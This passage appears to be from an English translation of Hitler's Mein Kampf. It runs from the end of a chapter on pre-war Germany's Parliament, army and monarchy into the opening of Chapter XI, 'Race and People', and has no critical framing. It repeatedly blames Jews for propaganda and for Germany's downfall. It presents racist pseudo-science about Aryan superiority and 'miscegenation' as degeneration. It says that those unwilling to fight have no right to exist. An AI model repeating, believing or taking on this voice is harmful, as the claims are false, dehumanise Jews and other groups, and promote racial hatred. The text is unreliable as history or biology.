anything more than a +mere metaphysical concept, or rather a philosophical opinion. +Accordingly the attack against dogma is comparable to an attack against +the general laws on which the State is founded. And so this attack would +finally lead to complete political anarchy if it were successful, just +as the attack on religion would lead to a worthless religious nihilism. + +The political leader should not estimate the worth of a religion by +taking some of its shortcomings into account, but he should ask himself +whether there be any practical substitute in a view which is +demonstrably better. Until such a substitute be available only fools and +criminals would think of abolishing the existing religion. + +Undoubtedly no small amount of blame for the present unsatisfactory +religious situation must be attributed to those who have encumbered the +ideal of religion with purely material accessories and have thus given +rise to an utterly futile conflict between religion and science. In this +conflict victory will nearly always be on the side of science, even +though after a bitter struggle, while religion will suffer heavily in +the eyes of those who cannot penetrate beneath the mere superficial +aspects of science. + +But the greatest damage of all has come from the practice of debasing +religion as a means that can be exploited to serve political interests, +or rather commercial interests. The impudent and loud-mouthed liars who +do this make their profession of faith before the whole world in +stentorian tones so that all poor mortals may hear--not that they are +ready to die for it if necessary but rather that they may live all the +better. They are ready to sell their faith for any political QUID PRO +QUO. For ten parliamentary mandates they would ally themselves with the +Marxists, who are the mortal foes of all religion. And for a seat in the +Cabinet they would go the length of wedlock with the devil, if the +latter had not still retained some traces of decency. + +If religious life in pre-war Germany had a disagreeable savour for the +mouths of many people this was because Christianity had been lowered to +base uses by political parties that called themselves Christian and +because of the shameful way in which they tried to identify the Catholic +Faith with a political party. + +This substitution was fatal. It procured some worthless parliamentary +mandates for the party in question, but the Church suffered damage +thereby. + +The consequences of that situation had to be borne by the whole nation; +for the laxity that resulted in religious life set in at a juncture when +everything was beginning to lose hold and vacillate and the traditional +foundations of custom and of morality were threatening to fall asunder. + +Yet all those cracks and clefts in the social organism might not have +been dangerous if no grave burdens had been laid upon it; but they +became disastrous when the internal solidarity of the nation was the +most important factor in withstanding the storm of big events. + +In the political field also observant eyes might have noticed certain +anomalies of the REICH which foretold disaster unless some alteration +and correction took place in time. The lack of orientation in German +policy, both domestic and foreign, was obvious to everyone who was not +purposely blind. The best thing that could be said about the practice of +making compromises is that it seemed outwardly to be in harmony with +Bismarck's axiom that 'politics is the art of the possible'. But +Bismarck was a slightly different man from the Chancellors who followed +him. This difference allowed the former to apply that formula to the +very essence of his policy, while in the mouths of the others it took on +an utterly different significance. When he uttered that phrase Bismarck +meant to say that in order to attain a definite political end all +possible means should be employed or at least that all possibilities +should be tried. But his successors see in that phrase only a solemn +declaration that one is not necessarily bound to have political +principles or any definite political aims at all. And the political +leaders of the REICH at that time had no far-seeing policy. Here, again, +the necessary foundation was lacking, namely, a definite +WELTANSCHAUUNG, and these leaders also lacked that clear insight into +the laws of political evolution which is a necessary quality in +political leadership. + +Many people who took a gloomy view of things at that time condemned the +lack of ideas and lack of orientation which were evident in directing +the policy of the REICH. They recognized the inner weakness and futility +of this policy. But such people played only a secondary role in +politics. Those who had the Government of the country in their hands +were quite as indifferent to principles of civil wisdom laid down by +thinkers like Houston Stewart Chamberlain as our political leaders now +are. These people are too stupid to think for themselves, and they have +too much self-conceit to take from others the instruction which they +need. Oxenstierna (Note 14a) gave expression to a truth which has lasted +since time immemorial, when he said that the world is governed by only a +particle of wisdom. Almost every civil servant of councillor rank might +naturally be supposed to possess only an atom or so belonging to this +particle. But since Germany became a Republic even this modicum is +wanting. And that is why they had to promulgate the Law for the Defence +of the Republic, which prohibits the holding of such views or expressing +them. It was fortunate for Oxenstierna that he lived at that time and +not in this wise Republic of our time. + +[Note 14a. Swedish Chancellor who took over the reins of Government after +the death of Gustavus Adolphus] + +Already before the War that institution which should have represented +the strength of the Reich--the Parliament, the Reichstag--was widely +recognized as its weakest feature. Cowardliness and fear of shouldering +responsibilities were associated together there in a perfect fashion. + +One of the silliest notions that one hears expressed to-day is that in +Germany the parliamentary institution has ceased to function since the +Revolution. This might easily be taken to imply that the case was +different before the Revolution. But in reality the parliamentary +institution never functioned except to the detriment of the country. And +it functioned thus in those days when people saw nothing or did not wish +to see anything. The German downfall is to be attributed in no small +degree to this institution. But that the catastrophe did not take place +sooner is not to be credited to the Parliament but rather to those who +opposed the influence of this institution which, during peace times, was +digging the grave of the German Nation and the German REICH. + +From the immense mass of devastating evils that were due either directly +or indirectly to the Parliament I shall select one the most intimately +typical of this institution which was the most irresponsible of all +time. The evil I speak of was seen in the appalling shilly-shally and +weakness in conducting the internal and external affairs of the REICH. +It was attributable in the first place to the action of the Reichstag +and was one of the principal causes of the political collapse. + +Everything subject to the influence of Parliament was done by halves, no +matter from what aspect you may regard it. + +The foreign policy of the REICH in the matter of alliances was an +example of shilly-shally. They wished to maintain peace, but in doing so +they steered straight. into war. + +Their Polish policy was also carried out by half-measures. It resulted +neither in a German triumph nor Polish conciliation, and it made enemies +of the Russians. + +They tried to solve the Alsace-Lorraine question through half-measures. +Instead of crushing the head of the French hydra once and for all with +the mailed fist and granting Alsace-Lorraine equal rights with the other +German States, they did neither the one nor the other. Anyhow, it was +impossible for them to do otherwise, for they had among their ranks the +greatest traitors to the country, such as Herr Wetterlé of the Centre +Party. + +But still the country might have been able to bear with all this +provided the half-measure policy had not victimized that force in which, +as the last resort, the existence of the Empire depended: namely, the +Army. + +The crime committed by the so-called German Reichstag in this regard was +sufficient of itself to draw down upon it the curses of the German +Nation for all time. On the most miserable of pretexts these +parliamentary party henchmen filched from the hands of the nation and +threw away the weapons which were needed to maintain its existence and +therewith defend the liberty and independence of our people. If the +graves on the plains of Flanders were to open to-day the bloodstained +accusers would arise, hundreds of thousands of our best German youth who +were driven into the arms of death by those conscienceless parliamentary +ruffians who were either wrongly educated for their task or only +half-educated. Those youths, and other millions of the killed and +mutilated, were lost to the Fatherland simply and solely in order that a +few hundred deceivers of the people might carry out their political +manoeuvres and their exactions or even treasonably pursue their +doctrinaire theories. + +By means of the Marxist and democratic Press, the Jews spread the +colossal falsehood about 'German Militarism' throughout the world and +tried to inculpate Germany by every possible means, while at the same +time the Marxist and democratic parties refused to assent to the +measures that were necessary for the adequate training of our national +defence forces. The appalling crime thus committed by these people ought +to have been obvious to everybody who foresaw that in case of war the +whole nation would have to be called to arms and that, because of the +mean huckstering of these noble 'representatives of the people', as they +called themselves, millions of Germans would have to face the enemy +ill-equipped and insufficiently trained. But even apart from the +consequences of the crude and brutal lack of conscience which these +parliamentarian rascals displayed, it was quite clear that the lack of +properly trained soldiers at the beginning of a war would most probably +lead to the loss of such a war; and this probability was confirmed in a +most terrible way during the course of the world war. + +Therefore the German people lost the struggle for the freedom and +independence of their country because of the half-hearted and defective +policy employed during times of peace in the organization and training +of the defensive strength of the nation. + +The number of recruits trained for the land forces was too small; but +the same half-heartedness was shown in regard to the navy and made this +weapon of national self-preservation more or less ineffective. +Unfortunately, even the naval authorities themselves were contaminated +with this spirit of half-heartedness. The tendency to build the ship on +the stocks somewhat smaller than that just launched by the British did +not show much foresight and less genius. A fleet which cannot be brought +to the same numerical strength as that of the probable enemy ought to +compensate for this inferiority by the superior fighting power of the +individual ship. It is the weight of the fighting power that counts and +not any sort of traditional quality. As a matter of fact, modern +technical development is so advanced and so well proportioned among the +various civilized States that it must be looked on as practically +impossible for one Power to build vessels which would have a superior +fighting quality to that of the vessels of equal size built by the other +Powers. But it is even less feasible to build vessels of smaller +displacement which will be superior in action to those of larger +displacement. + +As a matter of fact, the smaller proportions of the German vessels could +be maintained only at the expense of speed and armament. The phrase used +to justify this policy was in itself an evidence of the lack of logical +thinking on the part of the naval authorities who were in charge of +these matters in times of peace. They declared that the German guns were +definitely superior to the British 30.5 cm. as regards striking +efficiency. + +But that was just why they should have adopted the policy of building +30.5 cm. guns also; for it ought to have been their object not to +achieve equality but superiority in fighting strength. If that were not +so then it would have been superfluous to equip the land forces with 42 +cm. mortars; for the German 21 cm. mortar could be far superior to any +high-angle guns which the French possessed at that time and since the +fortresses could probably have been taken by means of 30.5 cm. mortars. +The army authorities unfortunately failed to do so. If they refrained +from assuring superior efficiency in the artillery as in the velocity, +this was because of the fundamentally false 'principle of risk' which +they adopted. The naval authorities, already in times of peace, +renounced the principle of attack and thus had to follow a defensive +policy from the very beginning of the War. But by this attitude they +renounced also the chances of final success, which can be achieved only +by an offensive policy. + +A vessel with slower speed and weaker armament will be crippled and +battered by an adversary that is faster and stronger and can frequently +shoot from a favourable distance. A large number of cruisers have been +through bitter experiences in this matter. How wrong were the ideas +prevalent among the naval authorities in times of peace was proved +during the War. They were compelled to modify the armament of the old +vessels and to equip the new ones with better armament whenever there +was a chance to do so. If the German vessels in the Battle of the +Skagerrak had been of equal size, the same armament and the same speed +as the English, the British Fleet would have gone down under the tempest +of the German 38 centimeter shells, which hit their aims more accurately +and were more effective. + +Japan had followed a different kind of naval policy. There, care was +principally taken to create with every single new vessel a fighting +force that would be superior to those of the eventual adversaries. But, +because of this policy, it was afterwards possible to use the fleet for +the offensive. + +While the army authorities refused to adopt such fundamentally erroneous +principles, the navy--which unfortunately had more representatives in +Parliament--succumbed to the spirit that ruled there. The navy was not +organized on a strong basis, and it was later used in an unsystematic +and irresolute way. The immortal glory which the navy won, in spite of +these drawbacks, must be entirely credited to the good work and the +efficiency and incomparable heroism of officers and crews. If the former +commanders-in-chief had been inspired with the same kind of genius all +the sacrifices would not have been in vain. + +It was probably the very parliamentarian skill displayed by the chief of +the navy during the years of peace which later became the cause of the +fatal collapse, since parliamentarian considerations had begun to play a +more important role in the construction of the navy than fighting +considerations. The irresolution, the weakness and the failure to adopt +a logically consistent policy, which is typical of the parliamentary +system, contaminated the naval authorities. + +As I have already emphasized, the military authorities did not allow +themselves to be led astray by such fundamentally erroneous ideas. +Ludendorff, who was then a Colonel in the General Staff, led a desperate +struggle against the criminal vacillations with which the Reichstag +treated the most vital problems of the nation and in most cases voted +against them. If the fight which this officer then waged remained +unsuccessful this must be debited to the Parliament and partly also to +the wretched and weak attitude of the Chancellor, Bethmann-Hollweg. + +Yet those who are responsible for Germany's collapse do not hesitate now +to lay all the blame on the shoulders of the one man who took a firm +stand against the neglectful manner in which the interests of the nation +were managed. But one falsehood more or less makes no difference to +these congenital tricksters. + +Anybody who thinks of all the sacrifices which this nation has had to +bear, as a result of the criminal neglect of those irresponsible +individuals; anybody who thinks of the number of those who died or were +maimed unnecessarily; anybody who thinks of the deplorable shame and +dishonour which has been heaped upon us and of the illimitable distress +into which our people are now plunged--anybody who realizes that in +order to prepare the way to a few seats in Parliament for some +unscrupulous place-hunters and arrivists will understand that such +hirelings can be called by no other name than that of rascal and +criminal; for otherwise those words could have no meaning. In comparison +with traitors who betrayed the nation's trust every other kind of +twister may be looked upon as an honourable man. + +It was a peculiar feature of the situation that all the real faults of +the old Germany were exposed to the public gaze only when the inner +solidarity of the nation could be injured by doing so. Then, indeed, +unpleasant truths were openly proclaimed in the ears of the broad +masses, while many other things were at other times shamefully hushed up +or their existence simply denied, especially at times when an open +discussion of such problems might have led to an improvement in their +regard. The higher government authorities knew little or nothing of the +nature and use of propaganda in such matters. Only the Jew knew that by +an able and persistent use of propaganda heaven itself can be presented +to the people as if it were hell and, vice versa, the most miserable +kind of life can be presented as if it were paradise. The Jew knew this +and acted accordingly. But the German, or rather his Government, did not +have the slightest suspicion of it. During the War the heaviest of +penalties had to be paid for that ignorance. + +Over against the innumerable drawbacks which I have mentioned here and +which affected German life before the War there were many outstanding +features on the positive side. If we take an impartial survey we must +admit that most of our drawbacks were in great measure prevalent also in +other countries and among the other nations, and very often in a worse +form than with us; whereas among us there were many real advantages +which the other did not have. + +The leading phase of Germany's superiority arose from the fact that, +almost alone among all the other European nations, the German nation had +made the strongest effort to preserve the national character of its +economic structure and for this reason was less subject than other +countries to the power of international finance, though indeed there +were many untoward symptoms in this regard also. + +And yet this superiority was a perilous one and turned out later to be +one of the chief causes of the world war. + +But even if we disregard this advantage of national independence in +economic matters there were certain other positive features of our +social and political life which were of outstanding excellence. These +features were represented by three institutions which were constant +sources of regeneration. In their respective spheres they were models of +perfection and were partly unrivalled. + +The first of these was the statal form as such and the manner in which +it had been developed for Germany in modern times. Of course we must +except those monarchs who, as human beings, were subject to the failings +which afflict this life and its children. If we were not so tolerant in +these matters, then the case of the present generation would be +hopeless; for if we take into consideration the personal capabilities +and character of the representative figures in our present regime it +would be difficult to imagine a more modest level of intelligence and +moral character. If we measure the 'value' of the German Revolution by +the personal worth and calibre of the individuals whom this revolution +has presented to the German people since November 1918 then we may feel +ashamed indeed in thinking of the judgment which posterity will pass on +these people, when the Law for the Protection of the Republic can no +longer silence public opinion. Coming generations will surely decide +that the intelligence and integrity of our new German leaders were in +adverse ratio to their boasting and their vices. + +It must be admitted that the monarchy had become alien in spirit to many +citizens and especially the broad masses. This resulted from the fact +that the monarchs were not always surrounded by the highest +intelligence--so to say--and certainly not always by persons of the most +upright character. Unfortunately many of them preferred flatterers to +honest-spoken men and hence received their 'information' from the +former. This was a source of grave danger at a time when the world was +passing through a period in which many of the old conditions were +changing and when this change was affecting even the traditions of the +Court. + +The average man or woman could not have felt a wave of enthusiasm +surging within the breast when, for example, at the turn of the century, +a princess in uniform and on horseback had the soldiers file past her on +parade. Those high circles had apparently no idea of the impression +which such a parade made on the minds of ordinary people; else such +unfortunate occurrences would not have taken place. The sentimental +humanitarianism--not always very sincere--which was professed in those +high circles was often more repulsive than attractive. When, for +instance, the Princess X condescended to taste the products of a soup +kitchen and found them excellent, as usual, such a gesture might have +made an excellent impression in times long past, but on this occasion it +had the opposite effect to what was intended. For even if we take it for +granted that Her Highness did not have the slightest idea, that on the +day she sampled it, the food was not quite the same as on other days, it +sufficed that the people knew it. Even the best of intentions thus +became an object of ridicule or a cause of exasperation. + +Descriptions of the proverbial frugality practised by the monarch, his +much too early rise in the morning and the drudgery he had to go through +all day long until late at night, and especially the constantly +expressed fears lest he might become undernourished--all this gave rise +to ominous expression on the part of the people. Nobody was keen to know +what and how much the monarch ate or drank. Nobody grudged him a full +meal, or the necessary amount of sleep. Everybody was pleased when the +monarch, as a man and a personality, brought honour on his family and +his country and fulfilled his duties as a sovereign. All the legends +which were circulated about him helped little and did much damage. + +These and such things, however, are only mere bagatelle. What was much +worse was the feeling, which spread throughout large sections of the +nation, that the affairs of the individual were being taken care of from +above and that he did not need to bother himself with them. As long as +the Government was really good, or at least moved by goodwill, no +serious objections could be raised. + +But the country was destined to disaster when the old Government, which +had at least striven for the best, became replaced by a new regime which +was not of the same quality. Then the docile obedience and infantile +credulity which formerly offered no resistance was bound to be one of +the most fatal evils that can be imagined. + +But against these and other defects there were certain qualities which +undoubtedly had a positive effect. + +First of all the monarchical form of government guarantees stability in +the direction of public affairs and safeguards public offices from the +speculative turmoil of ambitious politicians. Furthermore, the venerable +tradition which this institution possesses arouses a feeling which gives +weight to the monarchical authority. Beyond this there is the fact that +the whole corps of officials, and the army in particular, are raised +above the level of political party obligations. And still another +positive feature was that the supreme rulership of the State was +embodied in the monarch, as an individual person, who could serve as the +symbol of responsibility, which a monarch has to bear more seriously +than any anonymous parliamentary majority. Indeed, the proverbial +honesty and integrity of the German administration must be attributed +chiefly to this fact. Finally, the monarchy fulfilled a high cultural +function among the German people, which made amends for many of its +defects. The German residential cities have remained, even to our time, +centres of that artistic spirit which now threatens to disappear and is +becoming more and more materialistic. The German princes gave a great +deal of excellent and practical encouragement to art and science, +especially during the nineteenth century. Our present age certainly has +nothing of equal worth. + +During that process of disintegration which was slowly extending +throughout the social order the most positive force of resistance was +that offered by the army. This was the strongest source of education +which the German people possessed. For that reason all the hatred of our +enemies was directed against the paladin of our national +self-preservation and our liberty. The strongest testimony in favour of +this unique institution is the fact that it was derided, hated and +fought against, but also feared, by worthless elements all round. The +fact that the international profiteers who gathered at Versailles, +further to exploit and plunder the nations directed their enmity +specially against the old German army proved once again that it deserved +to be regarded as the institution which protected the liberties of our +people against the forces of the international stock-exchange. If the +army had not been there to sound the alarm and stand on guard, the +purposes of the Versailles representatives would have been carried out +much sooner. There is only one word to express what the German people +owe to this army--Everything! + +It was the army that still inculcated a sense of responsibility among +the people when this quality had become very rare and when the habit of +shirking every kind of responsibility was steadily spreading. This habit +had grown up under the evil influences of Parliament, which was itself +the very model of irresponsibility. The army trained the people to +personal courage at a time when the virtue of timidity threatened to +become an epidemic and when the spirit of sacrificing one's personal +interests for the good of the community was considered as something that +amounted almost to weak-mindedness. At a time when only those were +estimated as intelligent who knew how to safeguard and promote their own +egotistic interests, the army was the school through which individual +Germans were taught not to seek the salvation of their nation in the +false ideology of international fraternization between negroes, Germans, +Chinese, French and English, etc., but in the strength and unity of +their own national being. + +The army developed the individual's powers of resolute decision, and +this at a time when a spirit of indecision and scepticism governed human +conduct. At a time when the wiseacres were everywhere setting the +fashion it needed courage to uphold the principle that any command is +better than none. This one principle represents a robust and sound style +of thought, of which not a trace would have been left in the other +branches of life if the army had not furnished a constant rejuvenation +of this fundamental force. A sufficient proof of this may be found in +the appalling lack of decision which our present government authorities +display. They cannot shake off their mental and moral lethargy and +decide on some definite line of action except when they are forced to +sign some new dictate for the exploitation of the German people. In that +case they decline all responsibility while at the same time they sign +everything which the other side places before them; and they sign with +the readiness of an official stenographer. Their conduct is here +explicable on the ground that in this case they are not under the +necessity of coming to a decision; for the decision is dictated to them. + +The army imbued its members with a spirit of idealism and developed +their readiness to sacrifice themselves for their country and its +honour, while greed and materialism dominated in all the other branches +of life. The army united a people who were split up into classes: and in +this respect had only one defect, which was the One Year Military +Service, a privilege granted to those who had passed through the high +schools. It was a defect, because the principle of absolute equality was +thereby violated; and those who had a better education were thus placed +outside the cadres to which the rest of their comrades belonged. The +reverse would have been better. Since our upper classes were really +ignorant of what was going on in the body corporate of the nation and +were becoming more and more estranged from the life of the people, the +army would have accomplished a very beneficial mission if it had refused +to discriminate in favour of the so-called intellectuals, especially +within its own ranks. It was a mistake that this was not done; but in +this world of ours can we find any institution that has not at least one +defect? And in the army the good features were so absolutely predominant +that the few defects it had were far below the average that generally +rises from human weakness. + +But the greatest credit which the army of the old Empire deserves is +that, at a time when the person of the individual counted for nothing +and the majority was everything, it placed individual personal values +above majority values. By insisting on its faith in personality, the +army opposed that typically Jewish and democratic apotheosis of the +power of numbers. The army trained what at that time was most surely +needed: namely, real men. In a period when men were falling a prey to +effeminacy and laxity, 350,000 vigorously trained young men went from +the ranks of the army each year to mingle with their fellow-men. In the +course of their two years' training they had lost the softness of their +young days and had developed bodies as tough as steel. The young man who +had been taught obedience for two years was now fitted to command. The +trained soldier could be recognized already by his walk. + +This was the great school of the German nation; and it was not without +reason that it drew upon its head all the bitter hatred of those who +wanted the Empire to be weak and defenceless, because they were jealous +of its greatness and were themselves possessed by a spirit of rapacity +and greed. The rest of the world recognized a fact which many Germans +did not wish to see, either because they were blind to facts or because +out of malice they did not wish to see it. This fact was that the German +Army was the most powerful weapon for the defence and freedom of the +German nation and the best guarantee for the livelihood of its citizens. + +There was a third institution of positive worth, which has to be placed +beside that of the monarchy and the army. This was the civil service. + +German administration was better organized and better carried out than +the administration of other countries. There may have been objections to +the bureaucratic routine of the officials, but from this point of view +the state of affairs was similar, if not worse, in the other countries. +But the other States did not have the wonderful solidarity which this +organization possessed in Germany, nor were their civil servants of that +same high level of scrupulous honesty. It is certainly better to be a +trifle over-bureaucratic and honest and loyal than to be +over-sophisticated and modern, the latter often implying an inferior +type of character and also ignorance and inefficiency. For if it be +insinuated to-day that the German administration of the pre-War period +may have been excellent so far as bureaucratic technique goes, but that +from the practical business point of view it was incompetent, I can only +give the following reply: What other country in the world possessed a +better-organized and administered business enterprise than the German +State Railways, for instance? It was left to the Revolution to destroy +this standard organization, until a time came when it was taken out of +the hands of the nation and socialized, in the sense which the founders +of the Republic had given to that word, namely, making it subservient to +the international stock-exchange capitalists, who were the wire-pullers +of the German Revolution. + +The most outstanding trait in the civil service and the whole body of +the civil administration was its independence of the vicissitudes of +government, the political mentality of which could exercise no influence +on the attitude of the German State officials. Since the Revolution this +situation has been completely changed. Efficiency and capability have +been replaced by the test of party-adherence; and independence of +character and initiative are no longer appreciated as positive qualities +in a public official. They rather tell against him. + +The wonderful might and power of the old Empire was based on the +monarchical form of government, the army and the civil service. On these +three foundations rested that great strength which is now entirely +lacking; namely, the authority of the State. For the authority of the +State cannot be based on the babbling that goes on in Parliament or in +the provincial diets and not upon laws made to protect the State, or +upon sentences passed by the law courts to frighten those who have had +the hardihood to deny the authority of the State, but only on the +general confidence which the management and administration of the +community establishes among the people. This confidence is in its turn, +nothing else than the result of an unshakable inner conviction that the +government and administration of a country is inspired by disinterested +and honest goodwill and on the feeling that the spirit of the law is in +complete harmony with the moral convictions of the people. In the long +run, systems of government are not maintained by terrorism but on the +belief of the people in the merits and sincerity of those who administer +and promote the public interests. + +Though it be true that in the period preceding the War certain grave +evils tended to infect and corrode the inner strength of the nation, it +must be remembered that the other States suffered even more than Germany +from these drawbacks and yet those other States did not fail and break +down when the time of crisis came. If we remember further that those +defects in pre-War Germany were outweighed by great positive qualities +we shall have to look elsewhere for the effective cause of the collapse. +And elsewhere it lay. + +The ultimate and most profound reason of the German downfall is to be +found in the fact that the racial problem was ignored and that its +importance in the historical development of nations was not grasped. For +the events that take place in the life of nations are not due to chance +but are the natural results of the effort to conserve and multiply the +species and the race, even though men may not be able consciously to +picture to their minds the profound motives of their conduct. + + + + +CHAPTER XI + + + +RACE AND PEOPLE + + +There are certain truths which stand out so openly on the roadsides of +life, as it were, that every passer-by may see them. Yet, because of +their very obviousness, the general run of people disregard such truths +or at least they do not make them the object of any conscious knowledge. +People are so blind to some of the simplest facts in every-day life that +they are highly surprised when somebody calls attention to what +everybody ought to know. Examples of The Columbus Egg lie around us in +hundreds of thousands; but observers like Columbus are rare. + +Walking about in the garden of Nature, most men have the self-conceit to +think that they know everything; yet almost all are blind to one of the +outstanding principles that Nature employs in her work. This principle +may be called the inner isolation which characterizes each and every +living species on this earth. + +Even a superficial glance is sufficient to show that all the innumerable +forms in which the life-urge of Nature manifests itself are subject to a +fundamental law--one may call it an iron law of Nature--which compels +the various species to keep within the definite limits of their own +life-forms when propagating and multiplying their kind. Each animal +mates only with one of its own species. The titmouse cohabits only with +the titmouse, the finch with the finch, the stork with the stork, the +field-mouse with the field-mouse, the house-mouse with the house-mouse, +the wolf with the she-wolf, etc. + +Deviations from this law take place only in exceptional circumstances. +This happens especially under the compulsion of captivity, or when some +other obstacle makes procreative intercourse impossible between +individuals of the same species. But then Nature abhors such intercourse +with all her might; and her protest is most clearly demonstrated by the +fact that the hybrid is either sterile or the fecundity of its +descendants is limited. In most cases hybrids and their progeny are +denied the ordinary powers of resistance to disease or the natural means +of defence against outer attack. + +Such a dispensation of Nature is quite logical. Every crossing between +two breeds which are not quite equal results in a product which holds an +intermediate place between the levels of the two parents. This means +that the offspring will indeed be superior to the parent which stands in +the biologically lower order of being, but not so high as the higher +parent. For this reason it must eventually succumb in any struggle +against the higher species. Such mating contradicts the will of Nature +towards the selective improvements of life in general. The favourable +preliminary to this improvement is not to mate individuals of higher and +lower orders of being but rather to allow the complete triumph of the +higher order. The stronger must dominate and not mate with the weaker, +which would signify the sacrifice of its own higher nature. Only the +born weakling can look upon this principle as cruel, and if he does so +it is merely because he is of a feebler nature and narrower mind; for if +such a law did not direct the process of evolution then the higher +development of organic life would not be conceivable at all. + +This urge for the maintenance of the unmixed breed, which is a +phenomenon that prevails throughout the whole of the natural world, +results not only in the sharply defined outward distinction between one +species and another but also in the internal similarity of +characteristic qualities which are peculiar to each breed or species. +The fox remains always a fox, the goose remains a goose, and the tiger +will retain the character of a tiger. The only difference that can exist +within the species must be in the various degrees of structural strength +and active power, in the intelligence, efficiency, endurance, etc., with +which the individual specimens are endowed. It would be impossible to +find a fox which has a kindly and protective disposition towards geese, +just as no cat exists which has a friendly disposition towards mice. + +That is why the struggle between the various species does not arise from +a feeling of mutual antipathy but rather from hunger and love. In both +cases Nature looks on calmly and is even pleased with what happens. The +struggle for the daily livelihood leaves behind in the ruck everything +that is weak or diseased or wavering; while the fight of the male to +possess the female gives to the strongest the right, or at least, the +possibility to propagate its kind. And this struggle is a means of +furthering the health and powers of resistance in the species. Thus it +is one of the causes underlying the process of development towards a +higher quality of being. + +If the case were different the progressive process would cease, and even +retrogression might set in. Since the inferior always outnumber the +superior, the former would always increase more rapidly if they +possessed the same capacities for survival and for the procreation of +their kind; and the final consequence would be that the best in quality +would be forced to recede into the background. Therefore a corrective +measure in favour of the better quality must intervene. Nature supplies +this by establishing rigorous conditions of life to which the weaker +will have to submit and will thereby be numerically restricted; but even +that portion which survives cannot indiscriminately multiply, for here a +new and rigorous selection takes place, according to strength and +health. + +If Nature does not wish that weaker individuals should mate with the +stronger, she wishes even less that a superior race should intermingle +with an inferior one; because in such a case all her efforts, throughout +hundreds of thousands of years, to establish an evolutionary higher +stage of being, may thus be rendered futile. + +History furnishes us with innumerable instances that prove this law. It +shows, with a startling clarity, that whenever Aryans have mingled their +blood with that of an inferior race the result has been the downfall of +the people who were the standard-bearers of a higher culture. In North +America, where the population is prevalently Teutonic, and where those +elements intermingled with the inferior race only to a very small +degree, we have a quality of mankind and a civilization which are +different from those of Central and South America. In these latter +countries the immigrants--who mainly belonged to the Latin races--mated +with the aborigines, sometimes to a very large extent indeed. In this +case we have a clear and decisive example of the effect produced by the +mixture of races. But in North America the Teutonic element, which has +kept its racial stock pure and did not mix it with any other racial +stock, has come to dominate the American Continent and will remain +master of it as long as that element does not fall a victim to the habit +of adulterating its blood. + +In short, the results of miscegenation are always the following: + +(a) The level of the superior race becomes lowered; + +(b) physical and mental degeneration sets in, thus leading slowly but +steadily towards a progressive drying up of the vital sap. + +The act which brings about such a development is a sin against the will +of the Eternal Creator. And as a sin this act will be avenged. + +Man's effort to build up something that contradicts the iron logic of +Nature brings him into conflict with those principles to which he +himself exclusively owes his own existence. By acting against the laws +of Nature he prepares the way that leads to his ruin. + +Here we meet the insolent objection, which is Jewish in its inspiration +and is typical of the modern pacifist. It says: "Man can control even +Nature." + +There are millions who repeat by rote that piece of Jewish babble and +end up by imagining that somehow they themselves are the conquerors of +Nature. And yet their only weapon is just a mere idea, and a very +preposterous idea into the bargain; because if one accepted it, then it +would be impossible even to imagine the existence of the world. + +The real truth is that, not only has man failed to overcome Nature in +any sphere whatsoever but that at best he has merely succeeded in +getting hold of and lifting a tiny corner of the enormous veil which she +has spread over her eternal mysteries and secret. He never creates +anything. All he can do is to discover something. He does not master +Nature but has only come to be the master of those living beings who +have not gained the knowledge he has arrived at by penetrating into some +of Nature's laws and mysteries. Apart from all this, an idea can never +subject to its own sway those conditions which are necessary for the +existence and development of mankind; for the idea itself has come only +from man. Without man there would be no human idea in this world. The +idea as such is therefore always dependent on the existence of man and +consequently is dependent on those laws which furnish the conditions of +his existence. + +And not only that. Certain ideas are even confined to certain people. +This holds true with regard to those ideas in particular which have not +their roots in objective scientific truth but in the world of feeling. +In other words, to use a phrase which is current to-day and which well +and clearly expresses this truth: THEY REFLECT AN INNER EXPERIENCE. All +such ideas, which have nothing to do with cold logic as such but +represent mere manifestations of feeling, such as ethical and moral +conceptions, etc., are inextricably bound up with man's existence. It is +to the creative powers of man's imagination that such ideas owe their +existence. + +Now, then, a necessary condition for the maintenance of such ideas is +the existence of certain races and certain types of men. For example, +anyone who sincerely wishes that the pacifist idea should prevail in +this world ought to do all he is capable of doing to help the Germans +conquer the world; for in case the reverse should happen it may easily +be that the last pacifist would disappear with the last German. I say +this because, unfortunately, only our people, and no other people in the +world, fell a prey to this idea. Whether you like it or not, you would +have to make up your mind to forget wars if you would achieve the +pacifist ideal. Nothing less than this was the plan of the American +world-redeemer, Woodrow Wilson. Anyhow that was what our visionaries +believed, and they thought that through his plans their ideals would be +attained. + +The pacifist-humanitarian idea may indeed become an excellent one when +the most superior type of manhood will have succeeded in subjugating the +world to such an extent that this type is then sole master of the earth. +This idea could have an injurious effect only in the measure according +to which its application would become difficult and finally impossible. +So, first of all, the fight and then pacifism. If the case were +different it would mean that mankind has already passed the zenith of +its development, and accordingly the end would not be the supremacy of +some moral ideal but degeneration into barbarism and consequent chaos. +People may laugh at this statement; but our planet has been moving +through the spaces of ether for millions and millions of years, +uninhabited by men, and at some future date may easily begin to do so +again--if men should forget that wherever they have reached a superior +level of existence, it was not the result of following the ideas of +crazy visionaries but by acknowledging and rigorously observing the iron +laws of Nature. + +All that we admire in the world to-day, its science, its art, its +technical developments and discoveries, are the products of the creative +activities of a few peoples, and it may be true that their first +beginnings must be attributed to one race. The maintenance of +civilization is wholly dependent on such peoples. Should they perish, +all that makes this earth beautiful will descend with them into the +grave. + +However great, for example, be the influence which the soil exerts on +men, this influence will always vary according to the race in which it +produces its effect. Dearth of soil may stimulate one race to the most +strenuous efforts and highest achievement; while, for another race, the +poverty of the soil may be the cause of misery and finally of +undernourishment, with all its consequences. The internal +characteristics of a people are always the causes which determine the +nature of the effect that outer circumstances have on them. What reduces +one race to starvation trains another race to harder work. + +All the great civilizations of the past became decadent because the +originally creative race died out, as a result of contamination of the +blood. + +The most profound cause of such a decline is to be found in the fact +that the people ignored the principle that all culture depends on men, +and not the reverse. In other words, in order to preserve a certain +culture, the type of manhood that creates such a culture must be +preserved. But such a preservation goes hand-in-hand with the inexorable +law that it is the strongest and the best who must triumph and that they +have the right to endure. + +He who would live must fight. He who does not wish to fight in this +world, where permanent struggle is the law of life, has not the right to +exist. + +Such a saying may sound hard; but, after all, that is how the matter +really stands. Yet far harder is the lot of him who believes that he can +overcome Nature and thus in reality insults her. Distress, misery, and +disease are her rejoinders. + +Whoever ignores or despises the laws of race really deprives himself of +the happiness to which he believes he can attain. For he places an +obstacle in the victorious path of the superior race and, by so doing, +he interferes with a prerequisite condition of all human progress. +Loaded with the burden of humanitarian sentiment, he falls back to the +level of those who are unable to raise themselves in the scale of being. + +It would be futile to attempt to discuss the question as to what race or +races were the original standard-bearers of human culture and were +thereby the real founders of all that we understand by 